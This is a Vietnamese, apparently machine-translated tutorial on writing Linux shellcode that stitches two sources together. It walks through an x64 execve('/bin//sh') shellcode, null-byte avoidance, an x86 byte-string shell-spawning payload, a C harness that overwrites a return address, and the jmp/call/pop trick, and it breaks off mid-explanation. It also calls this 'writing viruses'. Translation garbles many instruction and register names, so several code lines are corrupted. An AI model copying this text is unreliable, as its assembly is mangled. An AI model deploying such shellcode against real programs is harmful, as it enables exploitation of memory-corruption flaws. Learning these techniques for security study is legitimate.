Mã shell là gì? Virus dành cho Linux. Học viết shellcode. Yêu cầu cơ bản đối với shellcode

IoT là xu hướng thực sự của thời gian gần đây. Nó sử dụng nhân Linux ở hầu hết mọi nơi. Tuy nhiên, có khá ít bài viết về viết virus và mã hóa shell cho nền tảng này. Bạn nghĩ viết shellcode cho Linux chỉ dành cho giới thượng lưu? Hãy cùng tìm hiểu cách viết virus cho Linux nhé!

CƠ SỞ VIẾT VIRUS CHO LINUX

Bạn cần gì cho công việc?

Để biên dịch shellcode, chúng ta cần một trình biên dịch và một trình liên kết. Chúng tôi sẽ sử dụng mùi hôild. Để kiểm tra shellcode, chúng ta sẽ viết một chương trình nhỏ bằng C. Để biên dịch nó, chúng ta sẽ cần gcc. Đối với một số kiểm tra bạn sẽ cần rasm2(một phần của khuôn khổ radare2). Chúng ta sẽ sử dụng Python để viết các hàm trợ giúp.

Có gì mới trong x64?

x64 là phần mở rộng của kiến ​​trúc IA-32. Tính năng phân biệt chính của nó là hỗ trợ các thanh ghi đa năng 64 bit, các phép toán số học và logic 64 bit trên các số nguyên và địa chỉ ảo 64 bit.

Cụ thể hơn, tất cả các thanh ghi mục đích chung 32-bit đều được giữ lại và các phiên bản mở rộng của chúng được thêm vào ( rax, rbx, RCx, rdx, rsi, rdi, rbp, rsp) và một số thanh ghi mục đích chung mới ( r8, r9, r10, r11, r12, r13, r14, r15).

Một quy ước gọi mới xuất hiện (không giống như kiến ​​trúc x86, chỉ có một quy ước). Theo đó, khi gọi một hàm, mỗi thanh ghi được sử dụng cho những mục đích cụ thể, cụ thể:

  • bốn đối số nguyên đầu tiên của hàm được truyền qua các thanh ghi RCx, rdx, r8r9 và thông qua sổ đăng ký xmm0 - xmm3đối với các loại dấu phẩy động;
  • các tham số khác được truyền qua ngăn xếp;
  • Đối với các tham số được truyền qua các thanh ghi, không gian vẫn được dành riêng trên ngăn xếp;
  • kết quả của hàm được trả về thông qua một thanh ghi chuột chũiđối với các kiểu số nguyên hoặc thông qua thanh ghi xmm0 đối với các kiểu dấu phẩy động;
  • rbp chứa một con trỏ tới đáy của ngăn xếp, nghĩa là vị trí (địa chỉ) nơi ngăn xếp bắt đầu;
  • rsp chứa một con trỏ tới đỉnh ngăn xếp, nghĩa là đến vị trí (địa chỉ) nơi giá trị mới sẽ được đặt;
  • rsi, rdiĐược dùng trong cuộc gọi chung.

Một chút về ngăn xếp: vì địa chỉ hiện là 64-bit nên các giá trị trên ngăn xếp có thể có kích thước 8 byte.

Syscall. Cái gì? Làm sao? Để làm gì?

tòa nhà là cách chế độ người dùng tương tác với kernel trong Linux. Nó được sử dụng cho nhiều tác vụ khác nhau: Thao tác I/O, ghi và đọc tệp, mở và đóng chương trình, làm việc với bộ nhớ và kết nối mạng, v.v. Để hoàn thành cuộc gọi chung, cần thiết:

Tải số chức năng tương ứng vào thanh ghi rax;
tải các tham số đầu vào vào các thanh ghi khác;
số ngắt cuộc gọi 0x80(bắt đầu từ phiên bản kernel 2.6, việc này được thực hiện thông qua lệnh gọi cuộc gọi chung).

Không giống như Windows, nơi bạn vẫn cần tìm địa chỉ của hàm được yêu cầu, mọi thứ ở đây khá đơn giản và ngắn gọn.

Có thể tìm thấy số lượng các hàm syscall cần thiết, ví dụ:

thực thi()

Nếu chúng ta nhìn vào các shellcode được tạo sẵn, nhiều trong số chúng sử dụng hàm thực thi().

thực thi() có nguyên mẫu sau:

Cô gọi chương trình TÊN TỆP. Chương trình TÊN TỆP có thể là tệp nhị phân thực thi hoặc tập lệnh bắt đầu bằng dòng #! thông dịch viên.

argv là một con trỏ tới một mảng, trên thực tế, điều này giống nhau argv, ví dụ như chúng ta thấy trong C hoặc Python.

envp- con trỏ tới một mảng mô tả môi trường. Trong trường hợp của chúng tôi nó không được sử dụng, nó sẽ quan trọng vô giá trị.

Yêu cầu cơ bản đối với shellcode

Có một thứ gọi là mã không phụ thuộc vào vị trí. Đây là mã sẽ được thực thi bất kể nó được tải ở đâu. Để shellcode của chúng ta có thể được thực thi ở bất kỳ đâu trong chương trình, nó phải độc lập với vị trí.

Thông thường, shellcode được tải với các chức năng như strcpy(). Các hàm tương tự sử dụng byte 0x00, 0x0A, 0x0D làm dấu phân cách (tùy thuộc vào nền tảng và chức năng). Vì vậy, tốt hơn là không sử dụng các giá trị như vậy. Nếu không, hàm này có thể không sao chép hoàn toàn shellcode. Hãy xem xét ví dụ sau:

$ rasm2 -a x86 -b 64 "đẩy 0x00" 6a00

$rasm2 - a x86 - b 64 "đẩy 0x00"

6 giờ sáng

Như bạn có thể thấy, mã đẩy 0x00 biên dịch thành các byte sau 6a 00. Nếu chúng ta sử dụng mã như thế này, shellcode của chúng ta sẽ không hoạt động. Hàm sẽ sao chép mọi thứ lên tới byte có giá trị 0x00.

Không thể sử dụng địa chỉ "mã hóa cứng" trong shellcode vì chúng tôi không biết trước những địa chỉ này. Vì lý do này, tất cả các chuỗi trong shellcode đều được lấy động và được lưu trữ trên ngăn xếp.

Đó dường như là tất cả.

CỨ LÀM ĐI!

Nếu bạn đã đọc đến đây thì chắc hẳn bạn đã hình dung được cách shellcode của chúng tôi sẽ hoạt động như thế nào.

Bước đầu tiên là chuẩn bị các tham số cho hàm execve() và sau đó đặt chúng một cách chính xác vào ngăn xếp. Chức năng sẽ trông như thế này:

Tham số thứ hai là một mảng argv. Phần tử đầu tiên của mảng này chứa đường dẫn đến tệp thực thi.

Tham số thứ 3 thể hiện thông tin về môi trường, chúng ta không cần nó nên nó sẽ có giá trị vô giá trị.

Đầu tiên chúng ta nhận được một byte bằng 0. Chúng tôi không thể sử dụng cấu trúc như Mov eax, 0x00 vì nó sẽ đưa các byte rỗng vào mã, vì vậy chúng tôi sẽ sử dụng hướng dẫn sau:

xor rdx, rdx

Hãy để lại giá trị này trong sổ đăng ký rdx- nó cũng sẽ cần thiết làm ký tự cuối dòng và giá trị của tham số thứ ba (sẽ là null).

Vì ngăn xếp tăng dần từ địa chỉ cao xuống địa chỉ thấp và hàm thực thi() sẽ đọc các tham số đầu vào từ thấp đến cao (tức là ngăn xếp làm việc với bộ nhớ theo thứ tự ngược lại), sau đó chúng ta sẽ đưa các giá trị đảo ngược vào ngăn xếp.

Để đảo ngược một chuỗi và chuyển đổi nó thành thập lục phân, bạn có thể sử dụng hàm sau trong Python:


Hãy gọi chức năng này cho /bin/sh: >>> rev.rev_str("/bin/sh")

"68732f6e69622f"

Chúng ta đã nhận được một byte rỗng (byte thứ hai tính từ cuối), điều này sẽ phá vỡ shellcode của chúng ta. Để ngăn điều này xảy ra, chúng ta hãy lợi dụng thực tế là Linux bỏ qua các dấu gạch chéo liên tiếp (nghĩa là /bin/sh/bin//sh- Nó giống nhau).

>>> rev.rev_str("/bin//sh") "68732f2f6e69622f"

Không có byte rỗng!

Sau đó, chúng tôi tìm kiếm thông tin trên trang web về hàm execve(). Chúng tôi xem xét số chức năng mà chúng tôi đặt trong rax - 59. Chúng tôi xem xét các thanh ghi nào được sử dụng:
rdi- lưu trữ địa chỉ của chuỗi TÊN TỆP;
rsi- lưu trữ địa chỉ của chuỗi argv;
rdx- lưu trữ địa chỉ của chuỗi envp.

Bây giờ chúng ta hãy đặt mọi thứ lại với nhau.
Chúng ta đặt ký tự cuối dòng vào ngăn xếp (hãy nhớ rằng mọi thứ được thực hiện theo thứ tự ngược lại):

xor rdx, rdx đẩy rdx

xor rdx, rdx

đẩy rdx

Đặt chuỗi vào ngăn xếp /bin//sh: mov rax, 0x68732f2f6e69622f
đẩy rax

Lấy địa chỉ của dòng /bin//sh trên ngăn xếp và ngay lập tức đẩy nó vào rdi: mov rdi, rsp

Trong rsi bạn cần đặt con trỏ tới một chuỗi các chuỗi. Trong trường hợp của chúng tôi, mảng này sẽ chỉ chứa đường dẫn đến tệp thực thi, do đó, chỉ cần đặt ở đó một địa chỉ tham chiếu đến bộ nhớ nơi đặt địa chỉ dòng (trong C, một con trỏ tới một con trỏ). Chúng tôi đã có địa chỉ của dòng, nó nằm trong thanh ghi rdi. Mảng argv phải kết thúc bằng một byte rỗng mà chúng ta có trong thanh ghi rdx:

đẩy rdx đẩy rdi mov rsi, rsp

đẩy rdx

đẩy rdi

mov rsi, rsp

Hiện nay rsi trỏ tới một địa chỉ trên ngăn xếp chứa con trỏ tới một chuỗi /bin//sh.

Chúng tôi đặt nó vào chuột chũi số chức năng execve(): xor rax, rax
chuyển động, 0x3b

Kết quả là chúng ta có file sau:


Biên dịch và liên kết cho x64. Đối với điều này:

$ nasm -f elf64 example.asm $ ld -m elf_x86_64 -s -o ví dụ example.o

$ nasm - ví dụ về elf64 .asm

$ ld - m elf_x86_64 - s - o ví dụ ví dụ .o

Bây giờ chúng ta có thể sử dụng ví dụ objdump -dđể xem tập tin kết quả.

Tạp chí FreeBSD, 09.2010

Mã Shell là một chuỗi các lệnh máy có thể được sử dụng để buộc một chương trình đang chạy thực hiện điều gì đó thay thế. Sử dụng phương pháp này, bạn có thể khai thác một số lỗ hổng phần mềm (ví dụ: lỗ hổng tràn ngăn xếp, tràn heap, lỗ hổng chuỗi định dạng).

Một ví dụ về mã shell có thể trông như thế nào:

char shellcode = "\xeb\x18\x5e\x31\xc0\x88\x46\x07\x89\ x76\x08\x89\x46" "\x0c\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d \x56\x0c\xcd\x80" "\xe8\xe3\xff\xff\xff\x2f\x62\x69\x6e\ x2f\x73\x68";

Nói chung, đây là một chuỗi byte trong ngôn ngữ máy. Mục đích của tài liệu này là xem xét các kỹ thuật phổ biến nhất để phát triển mã shell cho hệ thống Linux và *BSD chạy trên kiến ​​trúc x86.

Bằng cách lục lọi trên web, bạn có thể dễ dàng tìm thấy các ví dụ mã shell làm sẵn, bạn chỉ cần sao chép và đặt vào đúng vị trí. Tại sao nghiên cứu sự phát triển của nó? Theo tôi, có ít nhất một vài lý do chính đáng:

Thứ nhất, tìm hiểu nội bộ của một thứ gì đó hầu như luôn là một ý tưởng hay trước khi sử dụng nó, giúp tránh mọi bất ngờ khó chịu (vấn đề này sẽ được thảo luận sau tại http://www.kernel-panic.it/security/shellcode/shellcode6 .html trong chi tiết);

Thứ hai, hãy nhớ rằng mã shell có thể chạy trong các môi trường hoàn toàn khác nhau, chẳng hạn như bộ lọc đầu vào-đầu ra, vùng thao tác chuỗi, IDS và sẽ rất hữu ích khi tưởng tượng nó cần được sửa đổi như thế nào cho phù hợp với các điều kiện;

Ngoài ra, khái niệm khai thác lỗ hổng sẽ giúp bạn viết chương trình an toàn hơn.

Tiếp theo, việc biết trình biên dịch mã cho kiến ​​trúc IA-32 sẽ rất hữu ích vì chúng tôi sẽ đề cập đến các chủ đề như cách sử dụng thanh ghi, địa chỉ bộ nhớ và các chủ đề tương tự khác. Dù sao đi nữa, ở cuối bài viết có một số tài liệu hữu ích cho việc học hoặc làm mới trí nhớ của bạn những thông tin cơ bản về lập trình hợp ngữ. Kiến thức cơ bản về Linux và *BSD cũng được yêu cầu.

Cuộc gọi hệ thống Linux
Mặc dù về nguyên tắc, mã shell có thể làm bất cứ điều gì, nhưng mục đích chính của việc chạy nó là để có quyền truy cập vào trình thông dịch lệnh (shell) trên máy đích, tốt nhất là ở chế độ đặc quyền, đó là nguồn gốc của tên mã shell.
Cách đơn giản và trực tiếp nhất để thực hiện một tác vụ phức tạp trong hợp ngữ là sử dụng lệnh gọi hệ thống. Cuộc gọi hệ thống cung cấp giao diện giữa không gian người dùng và không gian kernel; nói cách khác, đó là cách để chương trình người dùng nhận các dịch vụ từ các dịch vụ kernel. Ví dụ: hệ thống tệp được quản lý, các quy trình mới được khởi chạy, quyền truy cập vào các thiết bị được cung cấp, v.v.
Như trong Liệt kê 1, các lệnh gọi hệ thống được xác định trong tệp /usr/src/linux/include/asmi386/unistd.h, mỗi lệnh có một số.
Có hai cách tiêu chuẩn để sử dụng cuộc gọi hệ thống:

Kích hoạt phần mềm ngắt 0x80;
- gọi hàm bao bọc từ libc.

Phương pháp đầu tiên dễ mang theo hơn vì nó có thể được sử dụng cho bất kỳ bản phân phối Linux nào (được xác định bằng mã hạt nhân). Phương pháp thứ hai ít khả chuyển hơn vì nó được xác định bởi mã thư viện tiêu chuẩn.

int 0x80
Chúng ta hãy xem xét kỹ hơn về phương pháp đầu tiên. Khi bộ xử lý nhận được ngắt 0x80, nó sẽ chuyển sang chế độ kernel và thực thi chức năng được yêu cầu, lấy trình xử lý cần thiết từ Bảng mô tả ngắt. Số cuộc gọi hệ thống phải được xác định trong EAX, cuối cùng sẽ chứa giá trị trả về. Đổi lại, các đối số hàm, tối đa sáu, phải được chứa trong EBX, ECX, EDX, ESI, EDI và EBP, theo thứ tự đó và chỉ số lượng thanh ghi được yêu cầu chứ không phải tất cả. Nếu một hàm yêu cầu nhiều hơn sáu đối số, bạn phải đặt chúng vào một cấu trúc và lưu trữ một con trỏ tới phần tử đầu tiên trong EBX.

Cần nhớ rằng nhân Linux trước 2.4 không sử dụng thanh ghi EBP để truyền đối số và do đó chỉ có thể truyền năm đối số qua thanh ghi.

Sau khi lưu trữ số cuộc gọi hệ thống và các tham số trong các thanh ghi thích hợp, ngắt 0x80 được gọi: bộ xử lý chuyển sang chế độ kernel, thực hiện cuộc gọi hệ thống và chuyển quyền điều khiển cho quy trình người dùng. Để tái tạo kịch bản này, bạn cần:

Tạo cấu trúc trong bộ nhớ chứa các tham số lệnh gọi hệ thống;
- lưu con trỏ tới đối số đầu tiên trong EBX;
- thực hiện ngắt phần mềm 0x80.

Ví dụ đơn giản nhất sẽ chứa lệnh gọi hệ thống cổ điển - exit(2). Từ tệp /usr/src/linux/include/asm-i386/unistd.h chúng ta tìm ra số của nó: 1. Trang man sẽ cho chúng ta biết rằng chỉ có một đối số bắt buộc (trạng thái), như trong Liệt kê 2.

Chúng tôi sẽ lưu nó vào sổ đăng ký EBX. Vì vậy, cần có những hướng dẫn sau:

exit.asm mov eax, 1 ; Số _exit(2) tòa nhà mov ebx, 0 ; trạng thái int 0x80; Ngắt 0x80

libc
Như đã nêu, một phương pháp tiêu chuẩn khác là sử dụng hàm C. Hãy xem cách thực hiện việc này bằng cách sử dụng một chương trình C đơn giản làm ví dụ:

exit.c main () ( exit(0); )

Bạn chỉ cần biên dịch nó:

$ gcc -o thoát exit.c

Hãy tháo rời nó bằng gdb để đảm bảo rằng nó sử dụng cùng một lệnh gọi hệ thống (Liệt kê 3).

Liệt kê 3. Tháo rời chương trình thoát bằng trình gỡ lỗi gdb$ gdb ./exit GNU gdb 6.1-debian Bản quyền 2004 Free Software Foundation, Inc. GDB là phần mềm miễn phí, được cấp phép theo Giấy phép Công cộng GNU và bạn được quyền thay đổi và/hoặc phân phối các bản sao của nó theo một số điều kiện nhất định. Nhập "hiển thị sao chép" để xem các điều kiện. Hoàn toàn không có bảo hành cho GDB. Nhập "hiển thị bảo hành" để biết chi tiết. GDB này được định cấu hình là "i386-linux"...Sử dụng thư viện libthread_db của máy chủ "/lib/ libthread_db.so.1". (gdb) break main Điểm dừng 1 tại 0x804836a (gdb) chạy Chương trình khởi động: /ramdisk/var/tmp/exit Điểm dừng 1, 0x0804836a trong main () (gdb) disas main Kết xuất mã trình biên dịch mã cho hàm main: 0x08048364: push %ebp 0x08048365: mov %esp,%ebp 0x08048367: sub $0x8,%esp 0x0804836a: và $0xffffff0,%esp 0x0804836d: mov $0x0,%eax 0x08048372: sub %eax,%esp 0x08048374: di chuyển l $0x0,(%esp ) 0x0804837b: gọi 0x8048284 Kết thúc kết xuất trình biên dịch mã. (gdb)

Hàm cuối cùng trong main() là lệnh gọi exit(3). Tiếp theo, chúng ta thấy exit(3) lần lượt gọi _exit(2), gọi một cuộc gọi hệ thống, bao gồm cả ngắt 0x80, Liệt kê 4.

Liệt kê 4. Thực hiện cuộc gọi hệ thống(gdb) disas exit Kết xuất mã trình biên dịch mã cho hàm exit: [...] 0x40052aed: mov 0x8(%ebp),%eax 0x40052af0: mov %eax,(%esp) 0x40052af3: call 0x400ced9c<_exit>[…] Kết thúc bãi chứa bộ lắp ráp. (gdb) disas _exit Kết xuất mã trình biên dịch mã cho hàm _exit: 0x400ced9c<_exit+0> <_exit+4>: di chuyển $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: di chuyển $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>

Do đó, shellcode sử dụng libc sẽ gián tiếp gọi lệnh gọi hệ thống _exit(2):

đẩy từ 0; cuộc gọi trạng thái 0x8048284; Gọi hàm libc exit() ;(địa chỉ thu được từ quá trình tháo gỡ ở trên) add esp, 4 ; Dọn dẹp ngăn xếp

Cuộc gọi hệ thống *BSD
Trong họ *BSD, các cuộc gọi hệ thống trông hơi khác một chút; không có sự khác biệt nào trong các cuộc gọi gián tiếp (sử dụng địa chỉ hàm libc).
Số cuộc gọi hệ thống được liệt kê trong tệp /usr/src/sys/kern/syscalls.master, tệp này cũng chứa các nguyên mẫu hàm. Liệt kê 5 hiển thị phần đầu của tệp trong OpenBSD:

Dòng đầu tiên chứa số lệnh gọi hệ thống, dòng thứ hai - loại của nó, dòng thứ ba - nguyên mẫu hàm. Không giống như Linux, các lệnh gọi hệ thống *BSD không sử dụng quy ước gọi nhanh là đẩy các đối số vào các thanh ghi mà thay vào đó sử dụng kiểu C đẩy các đối số vào ngăn xếp. Các đối số được đặt theo thứ tự ngược lại, bắt đầu từ đối số ngoài cùng bên phải, do đó chúng sẽ được truy xuất theo đúng trình tự. Ngay sau khi trở về từ lệnh gọi hệ thống, ngăn xếp phải được xóa bằng cách đặt số byte bằng độ dài của tất cả các đối số vào con trỏ offset ngăn xếp (hoặc đơn giản hơn là bằng cách thêm các byte bằng số đối số nhân với 4) . Vai trò của thanh ghi EAX cũng giống như trong Linux, nó chứa số lệnh gọi hệ thống và cuối cùng chứa giá trị trả về.

Vì vậy, có bốn bước cần thiết để thực hiện cuộc gọi hệ thống:

Lưu trữ số cuộc gọi trong EAX;
- đặt các đối số theo thứ tự ngược lại trên ngăn xếp;
- thực hiện ngắt phần mềm 0x80;
- dọn dẹp ngăn xếp.

Ví dụ về Linux, được chuyển đổi sang *BSD, sẽ trông như thế này:

exit_BSD.asm mov eax, 1 ; Số hệ thống đẩy từ 0 ; rval đẩy eax ; Đẩy thêm một dword (xem bên dưới) int 0x80 ; Ngắt 0x80 thêm đặc biệt, 8; Dọn dẹp ngăn xếp

Viết mã shell
Các ví dụ sau đây, được thiết kế cho Linux, có thể dễ dàng điều chỉnh cho phù hợp với thế giới *BSD. Để có được shell code thành phẩm, chúng ta chỉ cần lấy opcode tương ứng với hướng dẫn lắp ráp là được. Ba phương pháp thường được sử dụng để lấy opcode:

Viết chúng theo cách thủ công (có sẵn tài liệu Intel!);
- viết mã hợp ngữ và sau đó trích xuất opcode;
- viết code bằng C rồi tháo rời nó.

Bây giờ chúng ta hãy xem xét hai phương pháp còn lại.

Trong trình biên dịch
Bước đầu tiên là sử dụng mã tập hợp từ ví dụ exit.asm bằng lệnh gọi hệ thống _exit(2). Để có được các opcode, chúng ta sử dụng nasm và sau đó phân tách tệp nhị phân đã tập hợp bằng cách sử dụng objdump, như trong Liệt kê 6.

Cột thứ hai chứa mã máy chúng ta cần. Vì vậy, chúng ta có thể viết mã shell đầu tiên và kiểm tra nó bằng chương trình C đơn giản lấy từ http://www.phrack.org/

Liệt kê 7. Kiểm tra opcode sc_exit.c char shellcode = "\xbb\x00\x00\x00\x00" "\xb8\x01\x00\x00\x00" "\xcd\x80"; int main() ( int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; )

Bất chấp sự phổ biến của phương pháp này, mã C cho chương trình xác minh có vẻ chưa đủ rõ ràng. Tuy nhiên, nó chỉ ghi đè địa chỉ của hàm main() bằng địa chỉ của shellcode nhằm mục đích thực thi các lệnh shellcode trong main(). Sau lệnh đầu tiên, ngăn xếp tiến triển như sau:

Địa chỉ trả về (được đặt bởi lệnh CALL) sẽ được đặt trong EIP khi thoát;
- EBP đã lưu (sẽ được khôi phục khi thoát khỏi chức năng);
- ret (biến cục bộ đầu tiên trong hàm main())

Lệnh thứ hai tăng địa chỉ của biến ret thêm 8 byte (hai dwords) để lấy địa chỉ của địa chỉ trả về, nghĩa là một con trỏ tới lệnh đầu tiên sẽ được thực thi trong main(). Cuối cùng, lệnh thứ ba ghi đè địa chỉ bằng địa chỉ shellcode. Tại thời điểm này, chương trình thoát khỏi hàm main(), khôi phục EBP, lưu địa chỉ shellcode trong EIP và thực thi nó. Để xem tất cả các hoạt động này, bạn cần biên dịch và chạy sc_exit.c:

$ gcc -o sc_exit sc_exit.c $ ./sc_exit $

Tôi hy vọng miệng bạn mở đủ rộng. Để đảm bảo rằng mã shell được thực thi, chỉ cần chạy ứng dụng trong strace, Liệt kê 8.

Liệt kê 8. Theo dõi ứng dụng thử nghiệm$ strace ./sc_exit execve("./sc_exit", ["./sc_exit"], ) = 0 uname((sys="Linux", node="Knoppix", ...)) = 0 brk(0) = 0x8049588 old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40017000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (Không có tệp hoặc thư mục như vậy) mở ("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (Không có tệp hoặc thư mục như vậy) open("/etc/ld.so.cache", O_RDONLY) = 3 fstat64(3, (st_mode=S_IFREG |0644, st_size=60420, ...)) = 0 old_mmap(NULL, 60420, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40018000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK ) = -1 ENOENT (Không có tập tin hoặc thư mục như vậy) open("/lib/libc.so.6", O_RDONLY) = 3 read(3, "\177ELF\1\1\1\0\0\0\0 \0\0\0\0\0\3\0\3\0\1\0\0\0\200^\1"..., 512) = 512 fstat64(3, (st_mode=S_IFREG|0644 , st_size=1243792, ...)) = 0 old_mmap(NULL, 1253956, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x40027000 old_mmap(0x4014f000, 32768, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED , 3, 0x127000) = 0x4014f000 old_mmap(0x40157000, 8772, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40157000 đóng(3) = 0 munmap(0x40018000, 60420) = 0 _exit(0) = ? $

Dòng cuối cùng là lệnh gọi _exit(2). Tuy nhiên, nhìn vào shellcode chúng ta thấy một vấn đề nhỏ: nó chứa rất nhiều byte rỗng. Vì mã shell thường được ghi vào bộ đệm chuỗi nên các byte này sẽ nằm ở dấu phân cách dòng và cuộc tấn công sẽ thất bại. Có hai cách để giải quyết vấn đề:

Viết các hướng dẫn không chứa byte 0 (và điều này không phải lúc nào cũng có thể thực hiện được);
- viết mã shell để sửa đổi thủ công, loại bỏ các byte rỗng, để khi chạy, chính mã đó sẽ thêm các byte rỗng, căn chỉnh chuỗi theo dấu phân cách.

Hãy xem xét phương pháp đầu tiên.
Lệnh đầu tiên (mov ebx, 0) có thể được sửa đổi để phổ biến hơn (vì lý do hiệu suất):

xor ebx, ebx

Lệnh thứ hai chứa tất cả các số 0 này vì thanh ghi 32 bit (EAX) được sử dụng, lệnh này tạo ra các 0x01 trở thành 0x01000000 (các phần nhỏ theo thứ tự ngược lại vì Intel® là bộ xử lý endian nhỏ). Vì vậy, chúng ta có thể giải quyết vấn đề này một cách đơn giản bằng cách sử dụng thanh ghi 8 bit (AL):

chuyển động, 1

Bây giờ mã lắp ráp của chúng tôi trông như thế này:

xor ebx, ebx mov al, 1 int 0x80

và không có byte rỗng (Liệt kê 9).

Liệt kê 9. Kiểm tra shellcode$ nasm -f exit2.asm $ objdump -d exit2.o exit2.o: định dạng tệp elf32-i386 Tháo rời phần .text: 00000000<.text>: 0: 31 db xor %ebx,%ebx 2: b0 01 mov $0x1,%al 4: cd 80 int $0x80 $
Liệt kê 10. Hệ nhị phân Exit.c được mở bằng gdb$ gdb ./exit GNU gdb 6.1-debian Bản quyền 2004 Free Software Foundation, Inc. GDB là phần mềm miễn phí, được cấp phép theo Giấy phép Công cộng GNU và bạn có thể thay đổi và/hoặc phân phối các bản sao của nó theo một số điều kiện nhất định. Nhập "hiển thị sao chép" để xem các điều kiện. Hoàn toàn không có bảo hành cho GDB. Nhập "hiển thị bảo hành" để biết chi tiết. GDB này được định cấu hình là "i386-linux"...Sử dụng thư viện libthread_db của máy chủ "/lib/ libthread_db.so.1". (gdb) ngắt chính Điểm dừng 1 tại 0x804836a (gdb) chạy Chương trình khởi động: /ramdisk/var/tmp/exit Điểm dừng 1, 0x0804836a trong main () (gdb) disas _exit Kết xuất mã trình biên dịch mã cho hàm _exit: 0x400ced9c<_exit+0>: Mov 0x4(%esp),%ebx 0x400ceda0<_exit+4>: di chuyển $0xfc,%eax 0x400ceda5<_exit+9>: int $0x80 0x400ceda7<_exit+11>: di chuyển $0x1,%eax 0x400cedac<_exit+16>: int $0x80 0x400cedae<_exit+18>: hlt 0x400cedaf<_exit+19>: nop Kết thúc kết xuất trình biên dịch mã. (gdb)

Như bạn có thể thấy, hàm _exit(2) thực sự sử dụng hai lệnh gọi hệ thống: 0xfc (252), _exit_group(2) và sau đó, _exit(2). _exit_group(2) tương tự như _exit(2), nhưng mục đích của nó là chấm dứt tất cả các luồng trong nhóm. Mã của chúng tôi chỉ thực sự cần lệnh gọi hệ thống thứ hai.

Hãy trích xuất các opcodes:

(gdb) x/4bx _exit 0x400ced9c<_exit>: 0x8b 0x5c 0x24 0x04 (gdb) x/7bx _exit+11 0x400ceda7<_exit+11>: 0xb8 0x01 0x00 0x00 0x00 0xcd 0x80 (gdb)

Ngoài ra, như trong ví dụ trước, bạn sẽ cần khắc phục số byte bằng 0.

Lấy bảng điều khiển
Đã đến lúc viết mã shell cho phép bạn làm điều gì đó hữu ích hơn. Ví dụ: chúng ta có thể tạo mã để truy cập bảng điều khiển và thoát khỏi bảng điều khiển một cách sạch sẽ sau khi tạo bảng điều khiển. Cách tiếp cận đơn giản nhất ở đây là sử dụng lệnh gọi hệ thống execve(2). Hãy chắc chắn xem trang man, Liệt kê 11.

Liệt kê 11. man 2 execve EXECVE(2) Hướng dẫn lập trình viên Linux EXECVE(2) NAME execve – thực thi chương trình TÓM TẮT #include int execve(const char *filename, char *const argv , char *const envp); MÔ TẢ execve() thực thi chương trình được trỏ đến bởi tên tệp. tên tệp phải là tệp thực thi nhị phân hoặc tập lệnh bắt đầu bằng một dòng có dạng "#! trình thông dịch ". Trong trường hợp sau, trình thông dịch phải là tên đường dẫn hợp lệ cho một tệp thực thi mà bản thân nó không phải là tập lệnh, tập lệnh này sẽ được gọi dưới dạng tên tệp trình thông dịch. argv là một mảng các chuỗi đối số được truyền cho chương trình mới. envp là một mảng của các chuỗi, thông thường có dạng là môi trường cho chương trình mới. Cả hai, argv và envp phải được kết thúc bằng một con trỏ null. Vectơ đối số và môi trường có thể được truy cập bằng hàm chính của chương trình được gọi khi nó được định nghĩa là int. main(int argc, char *argv, char *envp). […]

Chúng ta phải vượt qua ba đối số:

Một con trỏ tới tên của chương trình cần thực thi, trong trường hợp của chúng ta, một con trỏ tới dòng /bin/sh;
- một con trỏ tới một mảng các chuỗi được truyền dưới dạng đối số chương trình, đối số đầu tiên phải là argv, nghĩa là tên của chính chương trình, đối số cuối cùng phải là con trỏ null;
- một con trỏ tới một mảng các chuỗi để truyền chúng dưới dạng môi trường chương trình; Các chuỗi này thường được đưa ra ở định dạng key=value và phần tử cuối cùng của mảng phải là con trỏ null. Trong C nó trông giống như thế này:

Hãy đặt nó lại với nhau và xem nó hoạt động như thế nào:

Ồ, chúng ta đã có vỏ. Bây giờ hãy xem lệnh gọi hệ thống này trông như thế nào trong trình biên dịch chương trình (vì chúng ta đã sử dụng ba đối số nên chúng ta có thể sử dụng các thanh ghi thay vì cấu trúc). Hai vấn đề ngay lập tức trở nên rõ ràng:

Vấn đề đầu tiên đã được biết: chúng ta không thể để lại byte rỗng trong mã shell, nhưng trong trường hợp này đối số là một chuỗi (/bin/sh) được kết thúc bằng một byte rỗng. Và chúng ta phải chuyển hai con trỏ null giữa các đối số cho execve(2)!
- vấn đề thứ hai là tìm địa chỉ của dòng. Việc đánh địa chỉ bộ nhớ tuyệt đối là khó khăn và nó cũng sẽ làm cho mã shell hầu như không thể di chuyển được.

Để giải quyết vấn đề đầu tiên, chúng ta sẽ làm cho shellcode của mình có khả năng chèn các byte rỗng vào đúng vị trí trong thời gian chạy. Để giải quyết vấn đề thứ hai chúng ta sẽ sử dụng địa chỉ tương đối. Phương pháp cổ điển để lấy lại địa chỉ shellcode là bắt đầu bằng câu lệnh CALL. Trong thực tế, điều đầu tiên CALL thực hiện là đẩy địa chỉ của byte tiếp theo vào ngăn xếp để nó có thể được đẩy (bằng lệnh RET) vào EIP sau khi hàm được gọi trả về. Việc thực thi sau đó sẽ di chuyển đến địa chỉ được chỉ định bởi tham số lệnh CALL. Bằng cách này, chúng ta nhận được một con trỏ tới chuỗi của mình: địa chỉ của byte đầu tiên sau CALL là giá trị cuối cùng trên ngăn xếp và chúng ta có thể dễ dàng lấy nó bằng POP. Vì vậy, kế hoạch shellcode chung sẽ giống như thế này:

Liệt kê 12. jmp ngắn mycall ; Ngay lập tức chuyển sang shellcode lệnh gọi: pop esi ; Lưu trữ địa chỉ của "/bin/sh" trong ESI […] mycall: call shellcode ; Đẩy địa chỉ của byte tiếp theo vào ngăn xếp: db tiếp theo "/bin/sh" ; byte là phần đầu của chuỗi "/bin/sh"

Hãy xem nó làm gì:

Đầu tiên, shellcode nhảy tới lệnh CALL;
